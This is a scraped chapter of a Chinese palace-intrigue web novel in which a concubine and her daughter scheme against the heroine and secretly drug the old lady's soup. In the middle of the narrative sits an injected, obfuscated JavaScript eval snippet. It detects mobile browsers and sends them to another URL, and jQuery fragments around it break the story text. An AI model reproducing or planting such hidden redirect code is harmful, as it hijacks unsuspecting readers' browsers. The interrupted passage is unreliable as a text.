默认冷灰
24号文字
方正启体

67. 命硬

作者:草莓喵大福本书字数:K更新时间:
    “娘,这宋韫命真硬!”


    次日的西厢院内,宋婉一早便向周姨娘抱怨昨日秋狩围猎之事。


    由于汀竹与太子的大婚将至,崇文轩的课业汀竹便不再上,而是准备大婚的礼仪,以及治好脸上的疤痕,连带着宋婉一起。


    “发生了何事?”周姨娘坐在锦瞪上,看着面前来回踱步的人,不免好奇问道。


    宋婉狠狠跺了跺脚下的绣鞋,一张俏脸气得通红,声音里满是抑制不住的愤懑:“昨日围猎,女儿本来与太子殿下相处甚好,谁知殿下被宋韫的呼救声吸引过去。”


    她喘了口气,语气更显不甘:“女儿亲眼瞧见,她不过是个手无缚鸡之力的弱女子,竟凭着半截断箭,将那白虎的一支眼给刺瞎,眼看她把白虎激怒将被白虎吃掉......却不曾想还是让殿下瞧见,还有靖安侯的世子也刚好看见,她就这般被太子殿下与世子殿下救了下来。”


    周姨娘端起茶杯的手微微一顿,挑眉道:“竟有此事?那陛下岂不是要赏她?”


    “赏!怎么不赏!”宋婉几乎是咬着牙吐出这几个字,“陛下赞赏她胆识过人,赏了黄金百两,锦缎百匹不算,还有御制的青锋短剑!”


    “娘你是没看见,她脸上那几道疤,先前还狰狞得吓人,如今已经淡得可忽略不计!还有太子殿下那般模样......简直像丢了魂!”


    她说着,眼圈都红了,狠狠捶了下旁边的梨花木桌:“凭什么?她不过是个什么都不会的贱人,凭什么能从虎口脱险,凭什么能得陛下赏赐,凭什么能让太子殿下另眼相看?”


    周姨娘将茶杯搁在茶托上,发出一声轻响,她抬眼看向气急败坏的宋婉,嘴角勾起一抹凉薄的笑意,声音压得低柔,却带着几分洞悉世事的笃定:“急什么?不过是一时风光罢了,她宋韫,高兴不了多久。”


    宋婉闻言一愣,止住了抽泣,泪眼婆娑地看向周姨娘:“娘这话是什么意思?”


    “你且想想,”周姨娘慢条斯理地抚了抚衣袖上的绣荷纹理,语气不疾不徐,“那白虎乃是皇家猎场养的猛兽,等闲不会轻易出现在围场的寻常区域。昨日围猎,本就是有重兵把守之地,那白虎怎会在围猎场出现?又怎会偏偏盯上宋韫?”


    宋婉眉头紧锁,细细思索着周姨娘的话,越想越觉得不对劲:“娘的意思是......这白虎出现得蹊跷?”


    “可不蹊跷?”周姨娘冷笑一声,眼底闪过一丝狠厉,“猎场的规矩,你又不是不知道,猛兽皆有专人看管,平日里都是圈在固定的山林里,若非有人故意放行,它岂能轻易跑出来,还精准地撞上宋韫?”


    宋婉猛地睁大眼睛,心头一跳:“娘你是说,有人故意放虎伤她?”


    “不然呢?”周姨娘端起茶杯,抿了一口清茶,茶香在齿间弥漫开来,她放下茶杯,声音里带着几分漫不经心,“还记得我前些日跟你说过的不是?不止咱们盼着她出事。”


    宋婉眼珠一转,霎时明白了周姨娘话里的深意,先前的愤懑褪去了几分,换上了几分兴奋的狠厉。


    周姨娘手指轻摩着杯沿上的纹理,眸底淬着冷光:“这深宅大院里,哪桩恩怨不是盘根错节?宋韫占着婚约的名头,又得了陛下青眼,碍了多少人的路,动了多少人的糕点,你以为只有咱们看着碍眼?”


    她撇了一眼宋婉,语气带着几分提点:“昨日那白虎,看着是冲着宋韫去的,实则是想借刀杀人。只可惜,她命硬,不仅没死成,反倒博了个胆识过人的名声。”


    宋婉咬着唇,眼底闪过一丝不甘:“那岂不是便宜她了?”


    “便宜?”周姨娘嗤笑一声,声音压低了些,带着几分诡谲,“这世上哪有白得的好处?她今日能从虎口逃出,是运气,可这运气这东西总有耗尽的时候。”


    宋婉点点头,眼底的不甘渐渐被阴翳取代:“娘说的是,女儿记下了。”说罢,她又啐了一口,这才踩着绣鞋,愤愤地拂袖离去。


    西厢院内静了下来,只剩周姨娘一人坐在锦凳上,指尖仍轻摩着茶杯的纹理,眸色沉沉。


    半晌,她才抬手轻扣了两下桌面,声音扬道:“梨画。”


    话音刚落,梨画便从门外走了进来,福了福身:“姨娘。”


    周姨娘端起茶杯,却没再喝,只望着杯中沉浮的茶叶,慢悠悠开口:“宋韫那边,近来可有什么动静?”


    梨画恭声回道:“回姨娘,大小姐这些时日倒无甚异样。只是奴婢瞧见过好几回,大小姐院中的侍从形迹颇为可疑,频频往老夫人的静心苑那边走动。”


    “侍从?”周姨娘柳眉微蹙,沉声追问。


    “正是,名唤胡舟,”梨画点头应道,复又补了一句,“如今在大小姐的暖居阁当值。此人先前本是老夫人院里的人,后来才被夫人调去了大小姐身边伺候。”


    周姨娘颔首,深思片刻,这才缓缓开口:“你去寻宋韫坠崖那日赶车的车夫,细细问清楚,当日她究竟是如何坠下崖的。”


    梨画脸色霎时一白,说话也变得磕磕绊绊:“那车夫……自打那日随大小姐一道出去之后,奴婢便早也没瞧见过他的踪影,竟像是贫空消失了一般。”


    “凭空消失?”周姨娘柳眉拧作一团,手不自觉地将茶杯一整个攥得死紧。


    她倒是把这一茬给忘了。


    只道宋韫那死丫头命硬,那般高的悬崖摔下去,竟还能活着回来。


    可自那日起,事事都透着邪门。宋韫处处逢凶化吉不说,自己反倒平白无故被栽赃构陷。起初她只当是宋韫忽然转性,但如今听闻秋狩围猎之事,她便再也不能等闲视之。


    一介闺阁弱质,竟能从白虎爪下逃生?换作是寻常男子怕是早已被吓晕过去,更何况是女子,这显然非往日里那个柔弱怯懦的宋韫能做到的。


    这般思量下来,此宋韫非彼宋韫。


    周姨娘指尖的力道愈发重了,青瓷茶杯被攥得几乎要碎裂,杯沿的茶雾袅袅,氤氲了她眼底的寒芒。


    “及如此,”她缓缓松开手,声音沉了下来,“你再去查,查胡舟这些时日往静心苑递了些什么东西,又见过哪些人。老夫人方从家庙后院出来,便与宋韫院里的人走得近,这里头的门道,怕是没那么简单。”


    梨画忙躬身应下:“奴婢遵命,这就去查。”


    “慢着。”周姨娘抬眼睨她一眼,“那药,可已混入老夫人的参汤里了?”


    “回姨娘,奴婢已按照你的吩咐,悄悄将药下进来老夫人的参汤之中。”


    周姨娘闻言,睨着眸子,手上的动作忽的一重,青瓷杯的杯底被磕出细碎的声响,衬得周遭愈发静穆。


    “老夫人身边的嬷嬷素来谨慎,一碗参汤要经三四道手才能送到跟前,你倒是做得干净。”她语调平平,听不出是褒是贬,目光却落在了窗外的树叶上,叶尖垂着昨夜的雨珠,沉甸甸的,似要坠落下来。


    梨画似有得意道:“老夫人院里的丫头,有一个原是咱们院中的旧人,奴婢不过略提点了几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020597|188365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    句,那丫头便趁着无人,将药下入了参汤,应是瞧不出来。”


    “瞧不出便好。”周姨娘收回目光,嘴角勾出淡淡道弧度,“这老夫人啊,便如同那架上的鹦鹉,纵是心里透亮,偏生不会言语,纵有万千计较,到头来也是枉然。”


    她顿了顿,又道:“胡舟那边的消息,三日之内,务必送到我跟前。”


    梨画应声:“是,奴婢记下了。”


    脚步声渐远,屋内重归寂静。


    周姨娘端起桌上微凉的茶杯,抿了一口,茶水涩得她眉峰微蹙,眼底却漫上几分冷光。


    -


    汀竹自从围场回来后,腰腹本就被虎尾伤得厉害不说,恰巧今日又来了月事。


    整个人苦不堪言。


    昨夜汀竹他们回府时,宋夫人便已熟睡,今早听得丫鬟颤巍巍禀报,只觉心口猛地一揪,手里的茶杯险些脱手,滚烫的茶水溅在虎口,竟半点没觉出疼。忙唤来梓盼、梓溪二人,前往暖居阁。


    一进入暖居阁内室。


    便见汀竹蜷缩在锦被里,脸色苍白如雪,往日那灵动的眸子此刻半寐着,唇上一点血色也无。腰腹间缠着的素色纱布,被冷汗濡湿了大半,黏在肌肤上。


    宋夫人俯下身,手指抖得厉害,却不敢碰那伤处,只哽咽着唤:“我的儿,你这是遭了多大的罪啊。”


    汀竹闻声勉力睁开眼,看见是宋夫人,鼻尖忽的一酸,眼泪便滚了下来,哑着嗓子道:“母亲……”


    “傻孩子,”宋夫人握住她冰冷的手,眼泪掉得更凶,“本就伤及了腹腑,偏又赶上了这月事,身子哪里受得住?”


    她转头厉声吩咐下人:“快去把府中大夫请过来!”


    未等宋夫人话落,汀竹用手扯住了她的袖摆,声音微弱道:“母亲,昨日宫中太医已然诊治过,说是并无大碍,修养几日便好了。”


    昨日太医诊脉时,那转瞬即逝的蹙眉迟疑,未对众人言明分毫,她却已是心下了然。


    此番伤情,绝非寻常。昨夜回府后自搭腕间把脉,指尖传来的脉象虚涩滞缓,便知往后怕是再难有身孕之喜。


    她倒不在意这伤,本就没曾想过生儿育女、为人母。只是此事若叫宋夫人知晓,晓得这腹腑重创竟损了生育根本,只怕她要肝肠寸断,日夜痛惜不休。故而而府中大夫,是万不能再请的。


    宋夫人望着她惨白的面容,眉心蹙得更紧,指尖抚过她冷汗涔涔的额角,终究是心疼难掩:“太医瞧过了,怎么还是这般光景?”


    她顿了顿,又道:“便是无碍,也得叫府医再开些温补的方子,调理调理才是。你这身子,哪里经得住半分马虎?”


    汀竹咬着唇,眸中泛起一层水汽,攥着宋夫人袖摆的手又紧了紧,声音里带着几分哀求:“母亲,真的不必了。太医的方子已是极好的,女儿按着吃,过几日便会好的。”


    她怕的是府医嘴不严,更怕的是母亲瞧出端倪,那满心的疼惜,比自己身上的伤更叫她难熬。


    宋夫人叹了口气,终究是拗不过她,只吩咐丫鬟:“去炖一蛊当归乌鸡汤,再把那床银丝炭的褥子铺到小姐榻上,仔细守着,莫叫她再受了寒。”


    待丫鬟应声退下,宋夫人才又握住汀竹的手,轻声道:“你这孩子,向来都是这般犟脾气。往后万不可再这般逞强,母亲……母亲只盼着你平平安安的。”


    汀竹喉间哽咽,一句话也说不出来,只能将脸埋进宋夫人的掌心,任由泪水湿了一片。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)